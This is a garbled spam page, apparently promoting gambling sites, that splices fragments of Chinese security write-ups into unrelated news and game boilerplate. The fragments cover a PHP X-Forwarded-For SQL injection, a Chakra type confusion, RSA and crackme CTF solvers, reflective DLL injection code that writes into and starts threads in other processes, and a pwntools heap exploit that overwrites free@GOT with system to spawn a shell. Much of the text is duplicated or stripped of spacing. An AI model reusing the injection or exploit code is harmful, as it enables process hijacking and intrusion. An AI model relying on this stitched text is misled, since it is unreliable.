现金网排名

在guest_中的act为send的代码如下:elseif($act==send){$user_id=$_SESSION[user_id]$_SESSION[user_id]:0;$rid=intval($_POST[rid]);$content=!empty($_POST[content])htmlspecialchars($_POST[content]):;$content=nl2br($content);if(empty($content)){showmsg(评论内容不能为空);}$sql="INSERTINTO".table(guest_book)."(id,rid,user_id,add_time,ip,content)VALUES(,$rid,$user_id,$timestamp,$online_ip,$content)";$db-query($sql);showmsg(恭喜您留言成功,guest__id=.$_POST[page_id]);}其中的sql语句中的$online_ip是在45行定义,$online_ip=getip();,跟踪进入到getip()中:include/(){if(getenv(HTTP_CLIENT_IP)){$ip=getenv(HTTP_CLIENT_IP);}elseif(getenv(HTTP_X_FORWARDED_FOR)){//获取客户端用代理服务器访问时的真实ip地址$ip=getenv(HTTP_X_FORWARDED_FOR);}elseif(getenv(HTTP_X_FORWARDED)){$ip=getenv(HTTP_X_FORWARDED);}elseif(getenv(HTTP_FORWARDED_FOR)){$ip=getenv(HTTP_FORWARDED_FOR);}elseif(getenv(HTTP_FORWARDED)){$ip=getenv(HTTP_FORWARDED);}else{$ip=$_SERVER[REMOTE_ADDR];}return$ip;}所以这是一个很明显的XFF的漏洞。,www.vnsr900.com、www.vns79333.com、秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。 这里的newArr的创建操作如下//IfthesourceobjectisanArrayexoticobjectweshouldtr*newObj=ArraySpeciesCreate(obj,0,scriptContext);JavascriptArray*newArr=nullptr;//Ifthenewobjectwecreatedisanarray,rememberthatasitwillsaveustimesettingpropertiesintheobjectbelowif(JavascriptArray::Is(newObj)){newArr=JavascriptArray::FromVar(newObj);}注意虽然进行了转换,但是最后newArr却是NativeIntArray类型=0x000001E353F7C5100x000001E353F7C5100000000000000003........0x000001E353F7C5180000000600000000........0x000001E353F7C5200000000000000000........0x000001E353F7C5280000000100000002........0x000001E353F7C5300000000380000002.......\n0x000001E353F7C5388000000280000002......\n观察接下来的取值和赋值操作可以发现问题for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}...pArr的类型为JavascriptArraynewArr的类型为JavascriptNativeIntArray这里直接从pArr中取出值放入了newArr,很明显是一个类型混淆造成这个混淆的根本原因是设置了staticget[](){returndummy;}导致返回了一个JavascriptNativeIntArray,从而与JavascriptArray造成混淆。,1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)对于企业中使用的任何办公软件都可以自定义基于文件和文件夹的例外,如果你的软件存在一些会触发ASR侦测的异常行为。每个共享的中断向量的IDT条目都指向了第一个KINTERRUPT结构体,其他的KINTERRUPT结构体通过字段InterruptListEntry形成链。,1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)此次画展共展出50幅荷花作品,吸引了广大市民前来观看。

  • 博客访问: 750289
  • 博文数量: 315
  • 用 户 组: 普通用户
  • 注册时间:2018-5-24 23:55:45
  • 认证徽章:
个人简介

4399小提示:此游戏文件较大(),加载的时间可能较长,前期可能会一阵白屏,不要急.因为正在下载,请耐心等候...如果觉得4399小游戏好玩,请把告诉你的朋友!更好玩的游戏等着你!小提示→【】植物大战僵尸的无敌版出来了,来尝试一下吧,游戏地址:更详细的介绍请进入:请注意,低版本的flashplayer播放器需更新至flashplayer10才能正常玩此游戏。  随着经济社会事业的不断发展,德安县原有的城区公交系统已无法满足广大群众的出行需求。德安讯(魏金霞记者沈明杰)11月29日上午,市委常委、统战部长廖奇志率市直有关部门到德安县开展第四季度重大项目落实年调研与政企茶叙活动。,不过,现在出现了震撼的转机,让电视与投影机不再是两条平行线——投影机领导品牌之一的Epson看到了普罗消费者的渴望及需求,推出了画面尺寸可达100寸以上的“镭射电视”EpsonEH-LS100。ThinkPad是联想公司的注册商标。。同时,加大对文化人才和农村文化实用人才的培养力度,近三年共举办文化骨干培训班15期,培训1600多人次。下面我们从绿阳桥开始,沿遗爱湖(准确的说沿遗爱湖西湖,因为遗爱湖的另二个湖,菱角湖和东湖没有桥)顺时针转一周,一一欣赏这18座桥。。

文章分类

全部博文(310)

文章存档

2015年(305)

2014年(701)

2013年(388)

2012年(533)

订阅
www.v8122.com 2018-5-24 23:55:45

分类: 九江传媒网

ThinkPad是联想公司的注册商标。ThinkPad是联想公司的注册商标。,LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。对于企业中使用的任何办公软件都可以自定义基于文件和文件夹的例外,如果你的软件存在一些会触发ASR侦测的异常行为。Mirai的开源代码为物联网恶意软件作者开发新的变异样本提供了一个很好的起点。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528。 但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。  贵港市委书记李新元出席开幕式并宣布第一届中国(广西·贵港)富硒农产品博览会开幕。有3处"sizeof(BloomWord)"的使用应为"sizeof(BloomWord)*8",因为我们处理的是位,而不是字节。我们注意到9个IoT漏洞利用已经被整合到当前的样本中,如下所示:DlinkGoaheadJAWSNetgearVacronNVR网件LinksysdlinkAVTECH攻击者不断地在样本中增加了更多的新漏洞,其中一个在漏洞发布后两天就被采用。,1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d),启动仪式上,贵港市委书记李新元向“970水蜜桃女主播”赠送荷花展吉祥物“和和”、“田田”,并为其进行代言授牌。不过想到这是从稍微可信的地方下载的,试试应该不会有大碍)。,有3处"sizeof(BloomWord)"的使用应为"sizeof(BloomWord)*8",因为我们处理的是位,而不是字节。,随着经济发展和社会进步,贵港市投资环境宽松优越。关闭优化选项,dep,aslr,safeseh(vs项目属性选择配置属性-链接器-命令行填写“/SAFESEH:NO”)我们可以试试如果和上次一样覆盖掉返回地址当执行到Security_Check_Cookie的时候,他会检查栈Cookies和.data的副本,这时候GS就分发系统异常处理请求然后就由系统接管处理你这个异常我们可以先用mona插件查看程序当前seh链表这个地址指向的就是PointertonextSEHrecord下面的SEhander是ntdll中的系统接管处理。陈晓东介绍,到2017年年底,贵港已引进4家新能源车企业,并在贵港国家生态工业(制糖)示范园区打造了中国—东盟新能源电动车生产基地。 但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。本次中国队共派出14名运动员参加比赛。通过GDIObjDump项目页[6]下载它们。 ,”在村头果园里,合作社理事会成员冯杰给记者算了收入账:每亩产枣6000多斤,按照4元一斤的市场价,一亩产值就有2万多元。漏洞代码如下:######{intreply_count;structMessage*nextMsg;intmsgid;char*author;intauthor_size;char*title;inttitle_size;char*content;intcontent_size;inttotal_num;};structMessage*head,*tail;charinput_buffer[0x1000];voidread_input(char*buf,intread_len,intbuf_size){if(NULL==buf||read_len=0)return;memset(buf,0,buf_size);inti=0;chartemp_char;while(1){temp_char=getchar();if(iread_len)buf[i]=temp_char;if(temp_char==0xA)break;i++;}}uint32_tread_input_uint(char*buf,intread_len,intbuf_size){read_input(buf,read_len,buf_size);returnstrtoul(buf,0,10);}voidinsertMessage(intmessageId){structMessage*tmp=head;while(tmp-nextMsg!=tail){tmp=tmp-nextMsg;}structMessage*new_msg;new_msg=(structMessage*)malloc(sizeof(structMessage));new_msg-msgid=messageId;write(STDOUT_FILENO,"inputyounamelen:",20);new_msg-author_size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));new_msg-author=(char*)malloc(new_msg-author_size);write(STDOUT_FILENO,"inputyouname:",16);read_input(new_msg-author,new_msg-author_size,new_msg-author_size);write(STDOUT_FILENO,"inputyoutitlelen:",21);new_msg-title_size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));new_msg-title=(char*)malloc(new_msg-title_size);write(STDOUT_FILENO,"inputyoutitle:",17);read_input(new_msg-title,new_msg-title_size,new_msg-title_size);write(STDOUT_FILENO,"inputyoucontentlen:",23);new_msg-content_size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));new_msg-content=(char*)malloc(new_msg-content_size);write(STDOUT_FILENO,"inputyoucontent:",19);read_input(new_msg-content,new_msg-content_size,new_msg-content_size);new_msg-nextMsg=tmp-nextMsg;tmp-nextMsg=new_msg;}structMessage*print_msg(intmsgid){structMessage*tmp=head;while(tmp!=tail){if(tmp-msgid==msgid){write(STDOUT_FILENO,"msgauthor:",11);write(STDOUT_FILENO,tmp-author,tmp-author_size);write(STDOUT_FILENO,",msgtitle:",11);write(STDOUT_FILENO,tmp-title,tmp-title_size);write(STDOUT_FILENO,",msgcontent:",13);write(STDOUT_FILENO,tmp-content,tmp-content_size);//write(STDOUT_FILENO,",msgreplycount:",17);//write(STDOUT_FILENO,tmp-reply_count,4);write(STDOUT_FILENO,"",1);/*printf("msgauthor:%s,msgtitle%s,msgcontent%s,msgreplycount%d",tmp-author,tmp-title,tmp-content,tmp-reply_count);*/returntmp;}tmp=tmp-nextMsg;}returnNULL;}voiddelete_msg(structMessage*delmsg){//deletelinkedlistmsgandfreestructMessage*tmp=head;while(tmp-nextMsg!=delmsg){tmp=tmp-nextMsg;}tmp-nextMsg=delmsg-nextMsg;//freefree(delmsg-author);free(delmsg-content);free(delmsg-title);free(delmsg);}voidmodify_msg(structMessage*modifymsg){intsize=0;chartemp[0x100];write(STDOUT_FILENO,"inputnewnamelen:",20);size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));if(size0x100)return;write(STDOUT_FILENO,"inputnewname:",16);read_input(temp,size,0x100);memcpy(modifymsg-author,temp,size);modifymsg-author_size=size;write(STDOUT_FILENO,"inputnewtitlelen:",21);size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));if(size0x100)return;write(STDOUT_FILENO,"inputnewtitle:",17);read_input(temp,size,0x100);memcpy(modifymsg-title,temp,size);modifymsg-title_size=size;write(STDOUT_FILENO,"inputnewcontentlen:",23);size=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));if(size0x100)return;write(STDOUT_FILENO,"inputnewcontent:",19);read_input(temp,size,0x100);modifymsg-content=(char*)malloc(size);memcpy(modifymsg-content,temp,size);modifymsg-content_size=size;}voidmain(){structMessageHEAD,TAIL;head=HEAD;tail=TAIL;head-nextMsg=tail;head-msgid=0;tail-nextMsg=NULL;tail-msgid=-1;charusage[128]=",,;pleaseinputyouchoice.";charoperate_usage[80]="Pleaseselecttheoperate:";intcmd=0,msg_count=0,operate=0;while(1){write(STDOUT_FILENO,usage,strlen(usage));read_input(input_buffer,sizeof(input_buffer),sizeof(input_buffer));sscanf(input_buffer,"%d",cmd);switch(cmd){case1://添加留言msg_count++;insertMessage(msg_count);break;case2:write(STDOUT_FILENO,"inputmsgidwillread:",23);intread_msg_id=0;read_input(input_buffer,sizeof(input_buffer),sizeof(input_buffer));sscanf(input_buffer,"%d",read_msg_id);structMessage*read_msg=print_msg(read_msg_id);if(read_msg==NULL){//write(STDOUT_FILENO,"msgiderror",12);return;}while(1){write(STDOUT_FILENO,operate_usage,strlen(operate_usage));operate=read_input_uint(input_buffer,sizeof(input_buffer),sizeof(input_buffer));//sscanf(input_buffer,"%d",operate);if(operate==1){delete_msg(read_msg);}elseif(operate==2){modify_msg(read_msg);}elseif(operate==3){read_msg-reply_count++;}elseif(operate==4){break;}}break;case3:write(STDOUT_FILENO,"exit",5);return;}}}Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd